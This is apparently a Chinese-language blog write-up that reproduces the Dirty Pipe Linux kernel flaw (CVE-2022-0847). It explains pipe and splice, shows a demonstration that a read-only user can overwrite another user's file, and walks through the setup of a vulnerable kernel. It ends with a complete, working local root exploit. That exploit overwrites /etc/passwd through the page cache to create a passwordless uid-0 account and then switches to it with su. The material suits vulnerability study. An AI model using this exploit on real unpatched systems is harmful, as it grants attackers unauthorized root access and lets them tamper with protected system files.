dirty pipe(CVE-2022-0847)漏洞复现

复现一下 dirty pipe漏洞

漏洞简介

漏洞发现者 Max Kellermann 并不是专门从事漏洞挖掘工作的,而是在服务器中多次出现了文件错误的问题,用户下载的包含日志的gzip文件多次出现CRC校验位错误, 排查后发现CRC校验位总是被一段ZIP头覆盖。

根据作者介绍, 可以生成ZIP文件的只有主服务器的一个负责HTTP连接的服务,但是该服务并没有写 gzip 文件的权限。即主服务器同时存在一个 writer 进程与一个 splicer 进程, 两个进程以不同的用户身份运行, splicer进程并没有写入writer 进程目标文件的权限, 但存在 splicer 进程的数据写入文件的 bug 存在。

有兴趣可以看看漏洞发现者写的原文。作者竟然是从一个小小的软件bug一步一步深挖到了内核漏洞,实在是佩服作者的这种探索精神。

环境准备

这里我按照自己复现准备的一个真实状态来写。

首先是准备一个被漏洞影响的版本内核,这里我使用了 5.8.0-63-generic 版本。本来之前打算直接 Ubuntu20.04LTS 一了百了,但是发现它内核有自动更新,下过来就是最新的,漏洞已经被修复了。所以这里直接用这个讲讲换这个内核的版本。

首先 apt 寻找这个版本:

1
apt-cache search linux | grep 5.8.0-63

然后我们在列表中寻一下

再用 apt 安装这个内核

1
sudo apt install linux-image-5.8.0-63-generic

安装完成之后, reboot 重启,开机界面按 shift+TAB 进入 ubuntu 引导界面,然后选择高级选项 advance,选择我们刚刚安装的那个内核进入启动。

成功替换指定的版本。

前置芝士

pipe

匿名管道,用于作为一个读写数据的通道,参数给一个长度为 2 的 int 数组,并通过这个数组返回,创建成功则返回对应的读写描述符,一端只能用于读,一端只能写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<fcntl.h>
#include<stdio.h>

int main(){
char buffer[10];
int pipe_fd[2]={-1,-1};
pipe(pipe_fd);
write(pipe_fd[1],"AAAA",4);
read(pipe_fd[0],buffer,4);
write(1,buffer,4);
}
/*
AAAA
*/

Splice

splice用于在两个文件描述符之间移动数据, 也是零拷贝

函数原型是 :

ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags);

参数解释:

  • fd_in:输入文件描述符
  • fd_out:输出文件描述符
  • len:移动字节长度
  • flags:控制数据如何移动。

返回值:

  • >0:表示成功移动的字节数
  • ==0:表示没有字节可以移动
  • <0:表示出现某些错误
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <assert.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>

int main(){
int pipe_fd[2]={-1,-1};
pipe(pipe_fd);
write(pipe_fd[1],"AAAA",4);
splice(pipe_fd[0],NULL,1,NULL,4,0);
}
/*
AAAA
*/

bug复现

做完上面两个前置芝士之后,应该能对 pipe 和 splice 稍微有点理解了,那么我们来复现一下 paper 上面说的 bug。把两个服务简化一下写出这两个程序:

创建一个 tmpfileuser 属主,权限 755。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//server1,user运行的服务,生成可执行文件为 p1
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
char file[]="./tmpfile";
int main(){
int p[2]={-1,-1};
int fd=open(file,O_WRONLY);
int i=2000;
while(i--){
write(fd,"AAAAA",5);
}
printf("write over\n");
}

下面这个是要准备去写之前准备的那个文件了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//server2,hacker运行的服务,生成可执行文件为p2
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<string.h>
char file[]="./tmpfile";
int main(){

int p[2]={-1,-1};
int fd=open(file,O_RDONLY);
char buffer[4096];
memset(buffer,0,4096);
if(pipe(p))abort();
int nbytes1,nbytes2;
while(1){
nbytes1=splice(fd,NULL,p[1],NULL,5,0);
nbytes2=write(p[1],"BBBBB",5);
read(p[0],buffer,10);
if(nbytes1==0||nbytes2==0)break;
}
close(fd);
}

我们这么操作:

先使用 user 用户创建一个 tmpfile,运行 p1 文件。

在这个文件中我们写了 5000 个 A,并且权限归 user 所有,只有它有写的权限。

切换回 hacker 用户,运行 p2 文件,我们发现 tmpfile 中间居然出现了 BBBBB

这就证明了这个漏洞的存在,这个漏洞的危害在于:只要文件可读,那我就可以写,这是非常危险的。

但是,我们不做任何操作,重启机器之后发现文件又变回了全 A 的状态。这说明,p2程序对tmpfile文件的修改仅存在于系统的页面缓存(page cache)中。

但是这个页面缓存在内核中,我们打开的文件会短暂停留在 page cache 当中,一段时间内我们打开的文件就相当于这个 page cache 的内容,所以我们更改了 page cache 其实也是可以达到修改文件的目的的。

exploit以及分析

这里我根据了我自己对这个漏洞的理解写了一个便于我们获取 root 权限的 exploit。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#define PIPE_SIZE PAGE_SIZE*16

void SetCanMerge(int fd[2]){
char buf;
pipe(fd);
for(int i=0;i<PIPE_SIZE;i++){
write(fd[1],"a",1);
read(fd[0],&buf,1);
}
}

int main(){
int pipefd[2];
SetCanMerge(pipefd);
int fd=open("/etc/passwd",O_RDONLY);
splice(fd,NULL,pipefd[1],NULL,1,0);
write(pipefd[1],"oots:",5);
system("su roots");
}

一步一步分析一下它的 exp。

首先我用了一个 SetCanMerge 函数去填满 pipe,这一步的作用是走完一遍 pipe 的缓冲区。pipe 的缓冲区是以页为单位的,总共是 16 页的环形缓冲区。这一步就是去设置所有 page 的 Can Merge 属性。这个 Can Merge 标识了这个 pipe 能否被续写。

我们先来介绍一下续写的概念,续写就是说在我总共 16 页的缓冲区中,我写了一个字符,那么它会被存储在下标为 0 的页的首地址中,我第二次写的时候会写在哪里呢?两个选择,一个是紧跟着后面去写,第二个是在后一页去写,显然为了内存考虑我们大部分会选择紧跟着后面去写,因为总共 16 页,不可能我扔了 16 个字符进管道管道直接就满了。所以我们设置了一个 flags ,它们当中有一位就是标志了是否能在上面续写。

显然我一个一个往里面去丢字符,它肯定会把 16 个页都设置为可以续写,所以这一步就是把 pipe 缓冲区都设置为可续写。第二步我们打开了一个 /etc/passwd 文件,这个文件所有用户可读,只有 root 用户可写,我们以只读的方式打开它获得一个文件描述符,然后通过 splice 向管道中拷贝一个字节的内容。

这里的拷贝一个字节因为是零拷贝,所以它不是真正的拷贝,而是直接把缓存页给挂到了 pipe 缓冲区当中。然而此时 Can Merge 属性又存在,所以我们再往管道里写数据的时候,会因为 Can Merge 而直接写 Page Cache 绕过了权限检查。

于是我们向 /etc/passwd 的第二个字节起写上五个字节 oots:,这样的话 /etc/passwd 的第一行变成了 roots::...,原本第一行的内容为 root:x:...,中间的 x 表示此用户有密码,而我们把 x 取消掉了,那么我们生成了一个 uid 为 0 且没有密码的用户 roots,那么我们通过 su roots 就能直接切换到 root 权限。

内核源码分析

以后再写吧……

文章目录
  1. 1. 漏洞简介
  2. 2. 环境准备
  3. 3. 前置芝士
    1. 3.1. pipe
    2. 3.2. Splice
  4. 4. bug复现
  5. 5. exploit以及分析
  6. 6. 内核源码分析
|